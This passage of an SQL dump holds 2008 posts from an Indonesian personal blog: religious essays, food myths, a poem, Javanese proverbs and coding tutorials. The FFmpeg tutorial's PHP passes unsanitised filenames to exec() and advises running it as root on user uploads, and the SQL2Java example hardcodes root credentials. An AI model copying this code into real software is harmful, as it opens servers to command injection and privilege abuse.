(kematianmu), dan ada lagi suatu ajal yang ada pada sisi-Nya (yang Dia sendirilah mengetahuinya), kemudian kamu masih ragu-ragu (tentang berbangkit itu). Dan Dialah Allah (yang disembah), baik di langit maupun di bumi; Dia mengetahui apa yang kamu rahasiakan dan apa yang kamu lahirkan dan mengetahui (pula) apa yang kamu usahakan. Dan tidak ada suatu ayatpun dari ayat-ayatTuhan sampai kepada mereka, melainkan mereka selalu berpaling dari padanya (mendustakannya. Sesungguhnya mereka telah mendustakan yang haq (Al-Quran) tatkala sampai kepada mereka, maka kelak akan sampai kepada mereka (kenyataan dari) berita-berita yang selalu mereka perolok-olokkan\". (QS. Al An\'aam (6) :1-3\r\n\r\nHadir Untuk Meraih Mihrab Cinta-Nya!\r\nKondisi Ummat yang sudah mulai terseret, dengan kehidupan hedonistik dan banyak melupakan ajaran agama serta lebih loyal kepada ideologi kapitalis, sekuler dan liberal yang di usung oleh gerakan anti agama. Menyebabkan hati ini tergugah untuk ikut menjadi bagian dari solusi dan kontributor, bukan komentator atau tambahan beban ummat ini. Dari realitas yang meresahkan itulah, maka lahirlah sebuah buku Indahnya Berbisnis Dengan Tuhan. Agar jiwa-jiwa ini semakin tersentuh dan terbangun, untuk bersama-sama bangkit, berfikir, bergerak, beramal dan berbisnis dengan Allah yang Maha Kaya Raya dan Maha Bijaksana. Agar kita semua mampu dikumpulkan dalam mihrab cinta dan ridho Allah SWT. Dan kita semakin yakin dan semakin siap, bahwa dunia ini adalah ladang untuk menebar kebaikan, keadilan, kesejahteraan dan kedamaian kepada seluruh manusia. Dan kehidupan dunia ini adalah kesempatan untuk mempersiapkan bekal untuk meraih kenikmatan di akhirat.\r\n\r\n\"Dan carilah pada apa yang telah dianugerahkan Allah kepadamu, yaitu kebahagiaan negeri akhirat. Dan janganlah kamu melupakan kebahagiaan dan kenikmatan dunia dan berbuatlah baik kamu dengan orang lain sebagaimana Allah telah berbuat baik kepadamu, dan janganlah kamu membuat kerusakan di muka bumi\".(QS al-Qashas (28):77).\r\n\r\nBagi anda, mungkin ada lintasan pertanyaan, mengapa harus memilih judul Indahnya Berbisnis Dengan Tuhan? Bagi saya, judul ini di pilih bukan hanya karena The Unique Of Selling Proposition, prospektus khas Tuhan dan ada kekuatan asa, atas kalimat Agung ilahiyah (ketuhanan), yang terasa sangat dahsyat dan terdengar indah serta menentramkan jiwa. Namun judul ini mengekspresikan keyakinan penuh, bahwa tidak ada bisnis di dunia ini yang sudah ada garansi 100% pasti prospek dan pasti untung, pasti adil, pasti jujur dan dijamin 100% mampu menjauhkan diri pelakunya dari kebangkrutan dan siksa yang sangat pedih, kecuali berbisnis dengan Allah SWT. Dzat yang mampu menghidupkan dan mematikan, yang bisa menghadirkan semua keajaiban, keindahan, kenikmatan dan keberkahan tanpa batas, Dialah yang Maha Kaya Raya.\r\n\r\n\"Dia-lah Allah yang telah menurunkan ketenangan ke dalam hati orang-orang mukmin supaya keimanan mereka bertambah di samping keimanan mereka (yang telah ada). Dan kepunyaan Allah-lah tentara langit dan bumi dan adalah Allah Maha Mengetahui lagi Maha Bijaksana. supaya Dia memasukkan orang-orang mukmin laki-laki dan perempuan ke dalam surga yang mengalir di bawahnya sungai-sungai, mereka kekal di dalamnya dan supaya Dia menutupi kesalahan-kesalahan mereka. Dan yang demikian itu adalah keberuntungan yang besar di sisi Allah. (QS. al-fath (48) 4-5).\r\n\r\nMemupuk Keberanian Untuk Menghadirkan Tauhid Dalam Semua Dimensi Kehidupan!\r\nBagi saya, dengan banyak beredar buku-buku yang mengajak dan mengajarkan kita hidup kaya raya dengan merujuk kepada ideologi barat, adalah khazanah ilmu yang cukup berarti yang bisa dijadikan bahan bacaan dan perbandingan. Hemat saya, karya-karya yang sudah ada, sangat perlu ditambahkan penekanan pada upaya dan keberanian untuk segera menghadirkan nilai-nilai ketauhidan dalam setiap dimensi hidup dan ketulusan untuk menjadikan Muhammad dan sahabatnya yang sholeh sebagai success model. Agar manusia, semakin berani, tenang dan optimis terhadap masa depannya. Bisnis yang tidak hanya sekedar untuk mencari keuntungan pribadi, tetapi juga diorientasikan untuk kemaslahatan dan kepentingan ummat yang lebih visioner dan revolusioner. Baik di dunia ataupun di akhirat.\r\n\r\nKarena Mereka Malu Membawa Agama, Maka Kita Harus Bangga dengan Agama!\r\nBuku ini, tidak dimaksudkan untuk menyaingi karya Rhonda Byrne, yang berjudul The Secret, atau Dale Carniege, yang berjudul How to Stop Worrying and Start Living, atau buku karya Jack Canfield, yang berjudul The Success Principles atau karya-karya pakar lainnya. Karena buku ini, sama-sama sedang memompa semangat anda untuk bekerja secara lebih cerdas dan optimal, dengan mujahadah (etos kerja) yang maksimal menuju hidup yang lebih sehat, kaya raya dan lebih jujur, adil, profesional serta peduli kepada sesama. Bedanya, saya dengan mereka adalah terletak pada dasar keyakinan dan referensi. Saya selalu meyakini bahwa semua manusia tidak akan pernah mendapat kesuksesan dan kebahagiaan sejati, kecuali dengan menjadikan segala apapun di muka bumi ini, menjadi nilai bisnis di sisi Allah SWT, yaitu bisnis yang selalu berlandaskan nilai tauhid dan qudwah hasanah atau referensi utuh kepada Modeling of success, Muhammad SAW.\r\n\r\n\"Allah-lah yang memiliki segala apa yang di langit dan di bumi. Dan kecelakaanlah bagi orang-orang kafir karena siksaan yang sangat pedih, (yaitu) orang-orang yang lebih menyukai kehidupan dunia dari pada kehidupan akhirat, dan menghalang-halangi (manusia) dari jalan Allah dan menginginkan agar jalan Allah itu bengkok. Mereka itu berada dalam kesesatan yang jauh\". (QS. Ibrahim (14) : 2-3).\r\n\r\nSaat ini, saya masih melihat, bahwa karya penulis barat memang bagus dan bermutu, namun secara tidak sadar, sebenarnya mereka telah mengambil nilai-nilai ilahiyah yang luhur, sebagai kekuatan tulisannya, walau mereka (baca orang barat) kadang malu jika dikaitkan dengan agama atau bahkan sebagian dari mereka akan marah dan balik menyerang agama. Disinilah bedanya kita dengan mereka, kita harus bangga dengan agama dan produk-produk syari\'ah, sehingga hidup ini lebih mulia sejahtera dan lebih berkah disisi Allah SWT.\r\n\r\n\"Janganlah sekali-kali kamu menyangka, hahwa orang-orang yang gembira dengan apa yang telah mereka kerjakan dan mereka suka supaya dipuji terhadap perbuatan yang belum mereka kerjakan janganlah kamu menyangka bahwa mereka terlepas dari siksa, dan bagi mereka siksa yang pedih. (QS. Ali ‘Imran (3): 188).\r\n\r\nHilangkan Keraguan Terhadap Aturan Tuhan, Musnahkan Kegundahan Terhadap Masa Lalu, Bangkit & Songsong Masa Depan!\r\nHadirnya, buku Indahnya Berbisnis dengan Tuhan, diharapkan akan lebih membuka pintu-pintu optimisme dan semangat baru dalam mengumpulkan tabungan akhirat yang sebanyak-banyaknya dengan manhaj ilahi (konsep tauhid), tanpa melupakan bekal dunia sebagai tempat transitnya. Untuk itu, mari kita singkirkan pesimistis akan potensi diri dan keraguan atas kebenaran syariat dan kita tanam kembali keyakinan, rasa senang, cinta, ikhlas, tekun, istiqomah, integritas dan etos kerja yang maksimal untuk masa depan kita. Jika kita mau, Allah ridho, kita Bisa menjadi yang kita inginkan!!!\r\n\r\n\"Dan siapakah yang lebih aniaya daripada orang yang membuat-buat suatu kedustaan terhadap Allah, atau mendustakan ayat-ayat-Nya? Sesungguhnya orang-orang yang aniaya itu tidak mendapat keberuntungan\". (QS. Al An\'aam (6):21)\r\n\r\nBuku ini, berisi kisah-kisah inspiratif yang diintegrasikan dengan norma-norma agama yang istimewa. Di dalamnya dikupas tentang makna berbisnis, pentingnya berbisnis dan apa keuntungan berbisnis dengan Tuhan. Disertai dengan cara mudah berbisnis dengan Allah, yang dikemas secara sederhana, yang dapat difahami dan dilakukan oleh siapa saja, di mana saja dan kapan saja. Bahkan oleh seorang pemula, yang selama ini selalu merasa pesimis dan mengganggap dirinya tidak mengerti apa-apa tentang Tuhan.\r\n\r\nDi dalam buku ini, berisi bahasan tentang transaksi bisnis yang ada dalam al-Qur\'an surat ashaff (61) ayat 10-12. Bisnis yang dijamin pasti adil, pasti jujur, pasti baik, pasti indah dan pasti untung besar. Yang diramu dan disajikan dengan konsep modern dalam TrenBiz Model (model pesantren bisnis), konsep yang dapat memudahkan dalam meraih sukses berbisnis dengan Allah SWT. Sehingga, buku ini menjadi tambahan bekal hidup dan pendongkrak motivasi untuk menjadi manusia sejati, yang mampu memanusiakan dan mengistimewakan manusia lainnya. Insan Mulia yang beriman, berwawasan global, visioner, revolusioner, toleran, moderat, kuat, sehat, mandiri, adil, Jujur, bersih, peduli dan profesional.\r\n\r\nBuku ini mengajak anda untuk lebih serius mencintai dan melaksanakan ayat-ayat Allah, dibandingkan dengan ayat-ayat manusia. Karenanya, di dalam buku ini sangat banyak menggunakan konsideran ayat-ayat qauliyah (firman Allah SWT), sebagai pedoman dasar dan inspirasi utama di setiap bagiannya. Karena kitab suci Al-Qur\'an merupakan rujukan terbaik ummat manusia, yang pasti benar, pasti baik, pasti relevan dan pasti bermanfaat. Al-Qur\'an yang tidak pernah direvisi sejak 14 abad yang lalu. Kitab suci yang tidak akan pernah mampu diubah sampai akhir zaman.\r\n\r\nBerbisnis dengan Tuhan Adalah Wajib. Menolak Berarti Bangkrut dan Sengsara Selamanya!\r\nProspektus bisnis ini sudah dipatenkan oleh Allah SWT dalam surat As-Shaaff (61) ayat 10-13. Allah dengan tegas telah mewajibakan setiap orang yang beriman untuk berbisnis dengan-Nya. Jika tidak, maka Allah telah mengancamnya dengan azab yang sangat pedih. Dan bagi siapapun yang mampu melakukannya, maka Allah akan memberikan ampunan, surga, istana dan kemenangan yang dekat.\r\n\r\n\"Hai orang-orang yang beriman, sukakah kamu aku tunjukkan suatu bisnis (perniagaan) yang dapat menyelamatkan kamu dari azab yang pedih? (yaitu) kamu beriman kepada Allah dan Rasul-Nya dan berjihad di jalan Allah dengan harta dan jiwamu. Itulah yang lebih baik bagimu, jika kamu mengetahui. Niscaya Allah akan mengampuni dosa-dosamu dan memasukkanmu ke dalam jannah (surga) yang mengalir di bawahnya sungai-sungai dan (memasukkan kamu) ke tempat tinggal yang baik di dalam surga Adn. Itulah keberuntungan yang besar. Dan (ada lagi) karunia yang lain yang kamu sukai (yaitu) pertolongan dari Allah dan kemenangan yang dekat (waktunya). Dan sampaikanlah berita gembira kepada orang-orang yang beriman\". (QS.Ash-Shaaff (61) : 10-13).\r\n\r\nEnjoy Aja, Jangan Takut & Jangan Bersedih!\r\nApapun tantangan dan problematika anda, maka nikmatilah hidup ini dengan ilmu, iman dan ikhlas. Karena Allah tidak akan pernah memberikan beban apapun kepada anda, melebihi kapasitas kemampuan anda. Segera bangkit dan bergerak untuk beramal yang terbaik untuk kehidupan dan masa depan anda. Mulai saat ini, semoga anda teringat kembali bahwa dalam mewujudkan apa yang anda inginkan, sesungguhnya dibutuhkan keyakinan, pengorbanan, kesungguhan dan ketekunan. Yang pada prosesnya akan terasa pahit, membosankan dan melelahkan. Untuk itu, buku ini akan setia menemani anda, sampai kepada terminal keingingan yang anda dambakan. Enjoy The Beauty Of Trading With Allah in your life, Semoga anda mendapatkan Indahnya Berbisnis dengan Tuhan.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (98,'2008-05-30 08:49:19','5 Mitos Menyesatkan Soal Makanan','5 Mitos Menyesatkan Soal Makanan\r\nKeliatannya penting nih hehe,\r\n\r\n1. Gula menyebabkan diabetes\r\nJika Anda penderita diabetes, Anda perlu memperhatikan asupan gula dan karbohidrat untuk menjaga kadar gula darah. Bila bukan diabetesi, asupan gula tak menyebabkan diabetes. Yang benar, makanan tinggi kalori, termasuk banyak minum dan makan manis, kegemukan, dan tak pernah olahraga adalah faktor risiko utama penyebab penyakit diabetes tipe 2.\r\n\r\n2. Semua lemak buruk\r\nKita semua butuh lemak karena lemak membantu penyerapan vitamin A, D, E, K, transmisi saraf, dan menjaga integritas membran sel. Namun, ketika dikonsumsi berlebihan, lemak menyebabkan peningkatan berat badan, penyakit jantung, dan kanker. Tentu tidak semua lemak buruk. Pilihlah lemak baik yang disebut lemak tak jenuh tunggal dan lemak\r\ntak jenuh ganda dalam pola makan sehari-hari. Lemak tak jenuh ini terdapat pada ikan dan kacang kacangan.\r\n\r\n3. Turunkan kolesterol dengan pantang seafood\r\nKuncinya adalah konsumsi dalam jumlah wajar karena seafood memang mengandung kolesterol. Kadar koesterol dalam tubuh sebagian besar dipengaruhi oleh lemak jenuh dan trans fatty acid. Keduanya ini terdapat dalam daging merah dan makanan kemasan olahan. Trans fatty acid terdapat di snack kemasan, gorengan, atau margarin yang berisi minyak hydro genated.\r\n\r\n4. Hindari karbohidrat agar berat badan cepat turun\r\nPesan utama diet rendah karbohidrat adalah karbohidrat mempercepat produksi insulin yang ujung-ujungnya akan menambah berat badan. Namun, membatasi asupannya secara berlebihan bisa membuat tubuh kekurangan karbohidrat untuk kegiatan harian. Akibatnya, tubuh akan membakar cadangan karbohidrat untuk energi, dengan melepaskan air. Itulah sebabnya Anda kehilangan banyak air ketika diet rendah karbohidrat.\r\n\r\n5. Tidak makan malam membantu menurunkan berat badan\r\nBanyak orang berpikir, makan lebih sedikit berarti mempercepat penurunan berat badan. Mereka tidak tahu, ketika tak makan, tubuh berpikir kita sedang kelaparan dan karenanya memperlambat proses metabolisme. Kita pun cenderung makan banyak sesudah melewati waktu makan. Karena itu, jangan lewatkan waktu makan. Cara yang sehat adalah makan sering tetapi dalam porsi kecil agar gula darah terus seimbang.\r\n',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (99,'2008-06-03 10:01:24','Puisi \"Bangkit\" di TV, by Deddy MIzwar','Puisi \"Bangkit\" by Deddy MIzwar\r\n\r\nBangkit itu Susah\r\nSusah melihat orang lain susah\r\nSenang melihat orang lain senang\r\n\r\nBangkit itu Takut\r\nTakut korupsi\r\nTakut makan yang bukan haknya\r\n\r\nBangkit itu Mencuri\r\nMencuri perhatian dunia dengan prestasi\r\n\r\nBangkit itu Marah\r\nMarah jika martabat bangsa dilecehkan\r\n\r\nBangkit itu Malu\r\nMalu jadi benalu\r\nMalu karena minta melulu\r\n\r\nBangkit itu Tidak ada\r\nTidak ada kata menyerah\r\nTidak ada kata putus asa\r\n\r\nBangkit itu Aku\r\nAku untuk Indonesiaku\r\n\r\nDi cuplik by \"Andik Amin\" :P, Semangatt...45...Merdekaa..!',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (100,'2008-06-03 10:01:43','FFMpeg to Convert mpg or mov to flv','Using FFMpeg to Convert mpg or mov to flv\r\n\r\nKarena lagi gencar2 streaming, yuuk nyobak bikin sendiri kayak youtube. Teryata tidak sulit yang dibayangkan hehe. Kita cuma download Ffmpeg, tentang Ffmpeg sendiri sudah dijelaskan lebih detail disini hehe :P, biar hemat waktu dan tulisan <a href=\"http://en.wikipedia.org/wiki/Ffmpeg\">http://en.wikipedia.org/wiki/Ffmpeg</a>\r\nOh ya, kita mainan di Linux nih, tapi si Ffmpeg suport juga diberbagai Platform. Makanya cobak aja. \r\n\r\nSetelah di install, tinggal menggunakan perintah ini:\r\n[code]\r\n# ffmpeg -i <filename.mpg> -deinterlace -ar 44100 -r 25 -qmin 3 -qmax 6 <filename.flv>\r\n[/code]\r\nPerintah di akan meng-convert file video menjadi (.flv) dengan resolusi yang sama dengan aslinya, seting frequensi audio sampai 44100 ini sudah kualitas tinggi, frame video 25 frame per detik, dan kualitas video diantara 3 sampai 6, ini akan memberi hasil yang sangat bagus dan cepat.\r\n\r\nUntuk hasil yang lebih bervariasi, silahkan membaca manualnya. :P\r\n\r\nContoh Code untuk convert video \"mpg\" ke \"flv\", tapi bukan \"mpg\" aja kita bisa menconvert \"avi, rsf, dll\" menggunakan php sebagai berikut:\r\n[code]\r\n<?php\r\n\r\nif ($direktori = opendir(\'.\')) {\r\n\r\n while (false !== ($file = readdir($direktori))) {\r\n\r\n if ($file != \".\" && $file != \"..\" && strpos($file, \"mpg\") !== false) {\r\n $fileflv = str_replace(\" \", \"_\", strtolower(str_replace(\"mpg\", \"flv\", $file)));\r\n $file = str_replace(\" \", \"\\ \", $file);\r\n exec(\"ffmpeg -i $file -deinterlace -ar 44100 -r 25 -qmin 3 -qmax 6 $fileflv\");\r\n }\r\n }\r\n closedir($handle);\r\n}\r\n?>\r\n[/code]\r\n\r\nNah gimana klo pas ada yang upload file video terus langsung di convert? Agar aman code php diatas harus dijalankan di \"root\", jadi mau tidak mau kita harus bikin daemon, bila ada yang upload maka akan secara otomatis si daemon akan ter triger dan melakukan convert. That is simple :).\r\n',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (101,'2008-06-11 09:29:23','Pitutur Jawa :)','Pitutur Jawa :)\r\n\r\nLagi seneng koleksi pitutur jawa, biar hidup lebih hidup :). Mudah-mudahan bisa dipelajarai, diresapi, dan diamalkan. Amin.\r\n\r\nNgluruk tanpa Bala\r\nMenang tanpa Ngasorake\r\nSekti Tanpa Aji-aji\r\nSugih tanpa banda\r\n----------------------\r\nMenyerang tanpa pasukan.\r\nMenang tanpa harus menindas.\r\nSakti tanpa kekuatan.\r\nKaya tanpa harta.\r\n\r\nDari: http://jamboel19.blogs.friendster.com/my_blog/2007/05/pitutur_jawa.html\r\n\r\nWis biasa wis ora gumunke\r\nSing keminter tansah cupet pikirane \r\nAkeh banget polahe nggo nutupi gobloke \r\nNgguyoke sak solahe…\r\n\r\nWong sing anteng aja disepeleke mas….\r\nWong sing meneng aja sok disembranake\r\nOra tau mamerke ora tau ngumuke\r\nApa sing dadi kepinterane\r\n\r\nOmah keong biyene tanpa lawang jarene\r\nDomino kudu cepak udune\r\n\r\nTong sing kosong pating glondhang swarane\r\nWong bodo sundul langit guneme\r\n\r\n------------------------------------------\r\nSudah biasa sudah tidak mengherankan \r\nYang merasa pandai biasanya dangkal ilmunya\r\nBanyak sekali tingkahnya buat menutupi kebodohannya\r\nMembuat geli yang melihatnya\r\n\r\nOrang yang anteng jangan disepelekan\r\nJangan sembrono dengan orang yang pendiam\r\nGa pernah mamerin dan pernah menyombongkan\r\nApa yang menjadi kepandaiannya\r\n\r\nRumah siput dari dulu ga ada pintunya\r\nMaen domino(kartu) harus sedia taruhannya\r\n\r\nTong yang kosong nyaring bunyinya\r\nOrang bodoh klo ngomong setinggi langit biasanya\r\n\r\n\r\nDari: http://dikkyz.blogspot.com/2007/10/pitutur-budaya-jawa.html\r\n\r\nAja sira deksura, ngaku luwih pinter tinimbang sejene. Aja rumangsa bener dhewe, jalaran ing donya iki ora ana sing bener dhewe.\r\n---------------------------------------------------------------------------------------------------------------------------------\r\nJanganlah congkak, merasa lebih pandai daripada yang lain. Jangan merasa engkau yang paling benar, sebab di dunia ini tidak ada yang paling benar\r\n\r\nAja semangkeyan rumangsa dadi wong sugih, nuli lali marang wong tuwane, jalaran iku ateges ora mikani Pangeran.\r\n---------------------------------------------------------------------------------------------------------------\r\nJangan sok merasa menjadi orang kaya, sehingga melupakan orang tuanya sendiri, sebab hal yang demikian ini sama dengan tidak mengakui kebesaran Tuhan.\r\n\r\nAja melik darbeking liyan. Aja cidra ing janji. Aja kumalungkung. Aja kumingsung.\r\n---------------------------------------------------------------------------------\r\nJangan menghendaki (secara tak sah) kepunyaan orang lain. Jangan mengingkari janji. Jangan merasa lebih dari yang lain. Jangan merasa benar dan paling berkuasa sendiri.\r\n\r\nAja gawe seik atining liyan. Aja ngumbar hawa napsu, mundhak sengsara uripe. \r\n---------------------------------------------------------------------------\r\nJangan suka menyakiti hati orang lain. Jangan melampiaskan hawa nafsu secara tak terkendali, jika tidak ingin sengsara hidupnya.\r\n\r\nAja lali marang kebecikaning liyan. Lan aja lali uga marang panggawe becik, jalaran panggawe becik iku minangka dalane mulyanira. \r\n---------------------------------------------------------------------------------------------------------------------------------\r\nJangan lupa akan kebaikan orang lain. Dan jangan sampai lupa untuk berbuat baik sebab hanya lewat perbuatan yang baik itu dapat menemukan jalan menuju kemuliaanmu.\r\n\r\nTuna satak bati sanak.\r\n----------------------\r\nRugi duit tidak apa yang penting dapat saudara.',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (102,'2008-06-20 11:50:58','SQL2Java Jadul tapi cepat','SQL2Java Jadul tapi cepat\r\n<a href=\"http://sql2java.sourceforge.net\" target=\"_blank\">http://sql2java.sourceforge.net</a>\r\n\r\nSudah biasa dengan spring dan hibernate, yang yahuut. Sekarang belajar lagi sql2java, karena teman-teman baru makek ini semua. Agak dengan berat hati meninggalkan kebiasaan tapi SQL2JAVA harus segera dipelajari. Sedikit dokumentasi memang tapi hehe :P, tapi akhirnya bisa juga.\r\nSetelah diemat-emat (\"Mengamati dengan seksama\"), eh enak juga pakek sql2java, terasa lebih cepat. Meski coding dengan hibernate lebih puas dan terstruktur hihi :D. SQL2Java solusi alternatif yang cepat dan mudah.\r\n\r\nSaya tidak akan mengupas secara tuntas bagai mana langkah2nya, karena dokumentasinya sudah lengkap saya hanya akan mengupas mengenai cara penggunaan.\r\n\r\nEquitment\r\n=========\r\n1. IDE Eclipse : Semua suka pakek ini, jadi ya ngikut. Tapi kelebihannya ada SVN, biar project bisa dikerjakan rame-rame.\r\n2. Mysq Server\r\n3. JDBC: mysql connector\r\n\r\nMysql\r\n=====\r\n[code]\r\nDatabase\r\n--------\r\ntest\r\n\r\nTable Create Table \r\n------ -------------------------------------------\r\ntesttb CREATE TABLE `testtb` ( \r\n `testid` int(11) NOT NULL auto_increment, \r\n `testdec` varchar(100) default NULL, \r\n PRIMARY KEY (`testid`) \r\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8 \r\n[/code]\r\n\r\nSource Code\r\n===========\r\n[code]\r\npackage test;\r\n\r\nimport java.sql.SQLException;\r\n\r\n//Hasil Convert SQL2JAVA, berupa class,class dari table yang di export\r\nimport test.db.*;\r\n\r\npublic class MainTestSQL2Java {\r\n public static void main (String [] args){\r\n log(\"Test Connection by Mamat for SQL2java\\n============================\");\r\n try{\r\n Manager.getInstance().setJdbcDriver(\"com.mysql.jdbc.Driver\");\r\n Manager.getInstance().setJdbcUrl(\"jdbc:mysql://localhost:3306/test\");\r\n Manager.getInstance().setJdbcUsername(\"root\");\r\n Manager.getInstance().setJdbcPassword(\"112233\");\r\n \r\n log(\"[OK]\\n\");\r\n \r\n } catch(Exception e){\r\n e.printStackTrace();\r\n }\r\n \r\n \r\n try {\r\n TesttbBean[] testdb;\r\n log(\"TESTING SQL2JAVA for SELECT\\n============================\");\r\n testdb = (TesttbBean[])TesttbManager.getInstance().loadAll();\r\n for(int i=0;i < testdb.length;i++){\r\n System.out.print(\"TestID: \"+testdb[i].getTestid()+\"\\t, \");\r\n System.out.println(\"TestDESC: \"+testdb[i].getTestdec());\r\n log(\"----------------------------------\");\r\n }\r\n \r\n log(\"\\nTESTING SQL2JAVA for INSERT\\n=============================\");\r\n TesttbManager testManage = TesttbManager.getInstance();\r\n TesttbBean testtb = testManage.createTesttbBean();\r\n log(testtb.toString());\r\n testtb.setTestdec(\"Testing Lagi\");\r\n testtb.setTestid(null);\r\n testManage.save(testtb);\r\n log(\"DISIMPAN..!\");\r\n \r\n log(\"\\nTAMPILKAN SETELAH DISIMPAN\\n==============================\");\r\n log(testtb.toString());\r\n \r\n log(\"\\nDELETE\\n==========\");\r\n TesttbBean testDel = testManage.createTesttbBean();\r\n testDel.setTestdec(\"Testing Lagi\");\r\n log(\"baris yang dihapus:\"+testManage.deleteUsingTemplate(testDel));\r\n \r\n TesttbBean[] testdb1;\r\n log(\"\\nTESTING SQL2JAVA for SELECT\\n============================\");\r\n testdb1 = (TesttbBean[])TesttbManager.getInstance().loadAll();\r\n for(int i=0;i < testdb1.length;i++){\r\n System.out.print(\"TestID: \"+testdb1[i].getTestid()+\"\\t, \");\r\n System.out.println(\"TestDESC: \"+testdb1[i].getTestdec());\r\n log(\"----------------------------------\");\r\n }\r\n } catch (SQLException e) {\r\n // TODO Auto-generated catch block\r\n e.printStackTrace();\r\n }\r\n }\r\n \r\n public static void log(String msg){\r\n System.out.println(msg);\r\n }\r\n}\r\n\r\n[/code]\r\n\r\nHasilnya\r\n========\r\n[code]\r\nTest Connection by Mamat for SQL2java\r\n============================\r\n[OK]\r\n\r\nTESTING SQL2JAVA for SELECT\r\n============================\r\nTestID: 1 , TestDESC: test1\r\n----------------------------------\r\nTestID: 2 , TestDESC: test2\r\n----------------------------------\r\nTestID: 3 , TestDESC: test3\r\n----------------------------------\r\n\r\nTESTING SQL2JAVA for INSERT\r\n=============================\r\n\r\n[testtb] \r\n - testtb.testid = not initialized\r\n - testtb.testdec = not initialized\r\nDISIMPAN..!\r\n\r\nTAMPILKAN SETELAH DISIMPAN\r\n==============================\r\n\r\n[testtb] \r\n - testtb.testid = [null]\r\n - testtb.testdec = [Testing Lagi]\r\n\r\nDELETE\r\n==========\r\nbaris yang dihapus:1\r\n\r\nTESTING SQL2JAVA for SELECT\r\n============================\r\nTestID: 1 , TestDESC: test1\r\n----------------------------------\r\nTestID: 2 , TestDESC: test2\r\n----------------------------------\r\nTestID: 3 , TestDESC: test3\r\n----------------------------------\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (103,'2008-06-26 19:11:12','Perjalanan Hidup Manusia','Perjalanan Hidup Manusia \r\nOleh : Nurlaila Zahra\r\n \r\nManusia hidup dengan jalan hidupnya masing-masing. Ada yang kuliah, ada yang kerja, bahkan ada pula yang pengangguran. Ada yang kaya, ada yang sederhana, bahkan tidak sedikit pula mereka yang miskin. Jalan hidup memang merupakan kapasitas dan kadar kemampuan dari seorang hamba yang telah Allah berikan untuknya. Orang kaya di uji dengan kekayaannya, dan orang miskin di uji dengan kemiskinannya. Dengan segala perbedaan ujian itu, dapat dipastikan bahwa kapasitas dan kadar kemampuan seorang hamba pun juga berbeda-beda.\r\n\r\nBanyak yang mengira bahwa menjadi kaya itu pasti menyenangkan. Tapi tak sedikit pula orang yang hartanya berlimpah justru kecemasannya berlebih dari orang yang kurang mampu. Cemas akan hartanya yang takut kehilangan, cemas akan kenikmatan duniawi yang dapat membuatnya lalai akan adanya Allah, dan cemas apabila dia mati nanti, dia akan meninggalkan hartanya yang tidak sedikit jumlahnya. Kecemasan-kecemasan seperti itulah yang akhirnya membuat banyak orang kaya menjadi stress.\r\n\r\nBanyak, atau mungkin hampir semua orang yang kurang mampu, berharap bisa menjadi orang kaya. Bisa kerja, kuliah, mempunyai hand phone terbaru, memiliki banyak uang, selalu punya sepatu dan baju baru, dan segala kenikmatan-kenikmatan duniawi yang sebenarnya semua itu hanyalah teman sesaat kita di kala hidup di dunia ini. Setelah itu, tak dapat lagi mereka menemani kita di kehidupan selanjutnya. Hanyalah sebuah kain kafan berwarna putih, pakaian agung dari yang teragung, yang akan kita gunakan untuk menghadap Allah swt.\r\n\r\nJangan mengira memiliki semua kemewahan itu bisa membuat kita bahagia. Biasanya kemewahan itu hanyalah modal utama dari rasa keserakahan kita untuk memonopoli diri kita sendiri. SADARLAH! Mungkin semua itu bukan yang terbaik untuk kita. Bisa saja kemewahan itu akan membuat kita lupa akan adanya Allah, akan adanya alam akhirat, akan adanya surga dan neraka, sehingga kita lalai akan kewajiban-kewajiban kita sebagai umat Nabi Muhammad saw.\r\n\r\nJangan pernah mengutuk diri sendiri jika kita terlahir sebagai seorang yang tidak berada. Sebab bisa jadi, yang sedikit itu mungkin bisa membawa kita pada keberkahan, membawa kita pada kebaikan, dan membawa kita pada ketenangan. Bisa jadi yang sedikit itu adalah amal untuk kita sebagai hamba yang selalu berucap syukur pada Allah swt di setiap keadaan. Insya Allah.\r\n\r\nDari Abu Abdurrahman Abdullah bin Mas\'ud ra. berkata, Rasulullah bersabda kepada kami, sedang beliau adalah orang jujur dan terpercaya, \"Sesungguhnya setiap kalian dikumpulkan penciptaannya dalam rahim ibunya selama empat puluh hari berupa nutfah (sperma) kemudian menjadi ‘alaqah (segumpal darah) selama waktu itu juga kemudian menjadi mudghah (segumpal daging) selama waktu itu pula, kemudian Allah mengutus malaikat untuk meniupkan roh kepadanya dan mencatat empat perkara yang telah ditentukan yaitu rizki, ajal, amal perbuatan, dan sengsara atau bahagianya.\r\n\r\nMaka demi Allah yang tiada Tuhan selainNya, sesungguhnya ada seseorang diantara kalian beramal dengan amalan penghuni surga, sehingga tidak ada jarak antara dirinya dengan surga kecuali sehasta saja, namun ketetapan (Allah) mendahuluinya, sehingga ia beramal dengan amalan ahli neraka, maka ia pun masuk neraka.\r\n\r\nAda seseorang diantara kalian beramal dengan amalan penghuni neraka, sehingga tidak ada jarak antara dirinya dengan neraka kecuali sehasta saja, namun ketetapan (Allah) mendahuluinya, sehingga ia beramal dengan amalan penghuni surga, maka ia pun masuk surga\" (HR. Bukhari dan Muslim) \r\n\r\nYakinlah pada diri sendiri. Rizki, jodoh, dan kematian sudah ditentukan oleh Allah. Kita sebagai hambaNya hanya tinggal menjalani tanpa terlepas dari ikhtiar, do\'a, dan tawakkal padaNya, sesuai dengan jalan hidup kita masing-masing. ',1,1,5);
